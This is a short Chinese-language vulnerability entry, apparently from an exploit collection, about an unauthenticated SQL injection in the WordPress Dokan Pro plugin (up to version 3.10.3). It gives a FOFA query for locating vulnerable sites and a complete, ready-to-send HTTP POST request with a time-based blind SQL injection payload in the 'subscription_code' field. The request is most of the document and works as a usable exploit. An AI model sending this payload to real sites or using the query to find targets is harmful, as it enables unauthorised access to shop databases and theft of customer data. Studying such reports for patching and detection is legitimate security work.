W16-1WordPress-DokanPro插件-SQL

漏洞描述：

WordPress Dokan Pro插件在3.10.3及以下版本中，由于对用户提供的'subscription_code'参数缺乏足够的转义处理以及现有SQL查询准备不足，在/wp-admin/admin.php接口处存在SQL注入漏洞。未授权攻击者可通过该漏洞向现有查询中注入额外的SQL语句，进而从数据库中提取敏感信息。

影响版本：

Dokan Pro <= 3.10.3版本

fofa语法：

"/wp-content/plugins/dokan-pro/"

漏洞复现：

延时5秒 payload：

```
POST /wp-admin/admin.php?webhook=dokan-moip HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept-Encoding: gzip

{"env":"1","event":"invoice.created","resource":{"subscription_code":"' AND (SELECT 9155 FROM (SELECT(SLEEP(5)))JfFK) AND 'CKYA'='CKYA"}}
```

效果图：